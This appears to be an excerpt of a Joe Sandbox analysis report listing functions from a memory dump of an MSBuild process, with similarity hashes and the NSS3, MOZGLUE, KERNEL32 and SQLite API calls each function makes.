Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction ID: 0e22db4576c109e6e7b756e10d54aac16a73a7140c7e9b9e24e252ab4b047cef
Opcode Fuzzy Hash: 8f849221ef68438e9aa0513d44ca2149a6a525f1e54c5ebbe664cee2012a8e63
Instruction Fuzzy Hash: F13159B1A0472057FB105639BC41FAA72959F9132CF241B37E92DD7B81FB32C45A8293

Function 6CC14E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC14E90
EnterCriticalSection.KERNEL32 ref: 6CC14EA9
TlsGetValue.KERNEL32 ref: 6CC14EC6
EnterCriticalSection.KERNEL32 ref: 6CC14EDF
PL_HashTableLookup.NSS3 ref: 6CC14EF8
PR_Unlock.NSS3 ref: 6CC14F05
PR_Now.NSS3 ref: 6CC14F13
PR_Unlock.NSS3 ref: 6CC14F3A

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction ID: 817739cc78d1e1f399d7aa0d8f93e2f70ff1a679fea1d7f521794334fe38beb5
Opcode Fuzzy Hash: c3f872708640f45069f68ac6606ac2e0939f7fdbfa00b7993d291c291f0ac24b
Instruction Fuzzy Hash: 62415DB4A046059FDB00EF79C08486AFBF4FF49348B118569DD599B711EB30E895CF91

Function 6CD00860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0086C

Part of subcall function 6CD00930: EnterCriticalSection.KERNEL32(?,00000000,?,6CD00C83), ref: 6CD0094F
Part of subcall function 6CD00930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD00C83), ref: 6CD00974
Part of subcall function 6CD00930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00983
Part of subcall function 6CD00930: _PR_MD_UNLOCK.NSS3(?,?,6CD00C83), ref: 6CD0099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD00892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD008AA
free.MOZGLUE(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008C7
free.MOZGLUE(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008E9
free.MOZGLUE(?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD008EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CD07AE2,?,?,?,?,?,?,6CD0798A), ref: 6CD0090E

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: cf505ff854d98a78b384b14621c1415c76c02bdeb2a188c5f126496ce9bbe526
Instruction ID: 2cb6860c6c7d96d2dc2158fbb3afbd4c96e0b8c39f5a66bfee8caf8a68fd7f43
Opcode Fuzzy Hash: cf505ff854d98a78b384b14621c1415c76c02bdeb2a188c5f126496ce9bbe526
Instruction Fuzzy Hash: C41160B1B022409BFF00BF58D89574A777CBB8229CF690124E61697690DB31F9148BD2

Function 6CB74F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB751BB

Strings

misuse, xrefs: 6CB751AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB751A5
unable to delete/modify user-function due to active statements, xrefs: 6CB751DF
%s at line %d of [%.10s], xrefs: 6CB751B4

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction ID: 91075e8e275c5ced4ed8ffd64e8745b0e076266b95c78c19999bedf14ff4ec24
Opcode Fuzzy Hash: c3387b709ed0b58fc844e447134a703eacaa527fc7b64a027c3c7b335f695431
Instruction Fuzzy Hash: B171BE71B0424A9BEB10CF25CC84B9A77B9FF48309F044524FD299BA81D335E959CBB2

Function 6CBE2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CBE2D69

Strings

winUnmapfile2, xrefs: 6CBE2F7F
winTruncate1, xrefs: 6CBE2EBE
winTruncate2, xrefs: 6CBE2EF8
winUnmapfile1, xrefs: 6CBE2F55
winSeekFile, xrefs: 6CBE2E9C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: b2503d6e73897eebab61830c685b98340e239bbd04adfc33748847c023528ef8
Instruction ID: 779ef3c77beac49567faae2e80d5be7a58dafc456fa28270628c95833a704419
Opcode Fuzzy Hash: b2503d6e73897eebab61830c685b98340e239bbd04adfc33748847c023528ef8
Instruction Fuzzy Hash: 0261C771B002159FEB04CF68DC84A6A77B5FF4D754F20812DEA199B790EB31AC06CB92

Function 6CC629E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CC621DD,00000002,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CC621DD,00000000), ref: 6CC62A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC62AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC62B0D
PK11_FreeSymKey.NSS3(?), ref: 6CC62B7B
PK11_FreeSymKey.NSS3(?), ref: 6CC62BD6

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 3d109ce8f5746d24db39dc068ca9cadc3c2934e72f43dc19794bb87a6b8eebb4
Instruction ID: e28aa2c7cf43ac1349acc31225379657d22ff09fe6e52ed65585b95a38c5310b
Opcode Fuzzy Hash: 3d109ce8f5746d24db39dc068ca9cadc3c2934e72f43dc19794bb87a6b8eebb4
Instruction Fuzzy Hash: B0510671E002059BEB108E66DDD4BAA73B5EF4431CF150124ED1AABB92F731E915CB91

Function 6CC06980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CC05DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC05DEC
Part of subcall function 6CC05DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC05E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC069BA

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC06A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AE9

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 10ad6358a15acf1f0ff00a950a86818e31c217ad274f86c141ab6b483f6667bf
Instruction ID: b036cea667ce3d0ad4a4fa4208a55ac92b2ae4afe1f63256f39b8cc4828f85be
Opcode Fuzzy Hash: 10ad6358a15acf1f0ff00a950a86818e31c217ad274f86c141ab6b483f6667bf
Instruction Fuzzy Hash: B4417171740A049BEB10DF28EC46B9777E9BF44354F188428E95EC7640FF32E95587A2

Function 6CC3AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC35

Part of subcall function 6CC1CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC1CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC55

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E,?,?), ref: 6CC3AC70

Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E33C
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E350
Part of subcall function 6CC1E300: PR_Unlock.NSS3(?), ref: 6CC1E5BC
Part of subcall function 6CC1E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC1E5CA
Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E5F2
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E606
Part of subcall function 6CC1E300: PORT_Alloc_Util.NSS3(?), ref: 6CC1E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC3AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E), ref: 6CC3ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC3AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC3AD2B

Part of subcall function 6CC1F360: TlsGetValue.KERNEL32(00000000,?,6CC3A904,?), ref: 6CC1F38B
Part of subcall function 6CC1F360: EnterCriticalSection.KERNEL32(?,?,?,6CC3A904,?), ref: 6CC1F3A0
Part of subcall function 6CC1F360: PR_Unlock.NSS3(?,?,?,?,6CC3A904,?), ref: 6CC1F3D3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction ID: 2ecd3b86ddb57dbba9838170e391e87861260dd4d00070d67e8a18a12122b9db
Opcode Fuzzy Hash: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction Fuzzy Hash: 55311BB1E005255FEF04DFA9AC405AF7776EFC4728B188128E81997B40FB31DD2687A1

Function 6CC18C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC18C7C

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC18CB0
TlsGetValue.KERNEL32 ref: 6CC18CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC18CE5
PR_Unlock.NSS3(?), ref: 6CC18D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC18D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC18D93

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction ID: 81da5bd4fec89f99d9ecbda91d64ec8ac621e1f66a226949df58058b34c4715c
Opcode Fuzzy Hash: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction Fuzzy Hash: C2312771E08702ABEB00AF6ADC40B9A7774BF55318F250136EA1967F90F770A924D7D1

Function 6CC12E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC0E728,?,00000038,?,?,00000000), ref: 6CC12E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC12E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC12E9E
PR_Unlock.NSS3(?), ref: 6CC12EAB
PR_Unlock.NSS3(?), ref: 6CC12F0D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction ID: ef271374ba5b39e160b799c6e158425f88c7ecb5415bc4a19c8d03561c03d0d4
Opcode Fuzzy Hash: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction Fuzzy Hash: C431F6BAA001059BEB006F69DC5487AB779FF46259B148164ED0887B11FB31DC64D7E1

Function 6CC5CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bd86a491dc786b62507a9a0d3fb0798cbd49e3ac8bb39135d3d080cb93b898d4
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F411D2A1A002005BEB00AE6A6C41B6BB6EC9F5854DF804139EC09D7B41FB61D93986F6

Function 6CC08C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC08C1B
EnterCriticalSection.KERNEL32 ref: 6CC08C34
PL_ArenaAllocate.NSS3 ref: 6CC08C65
PR_Unlock.NSS3 ref: 6CC08C9C
PR_Unlock.NSS3 ref: 6CC08CB6

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Strings

KRAM, xrefs: 6CC08C8F

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

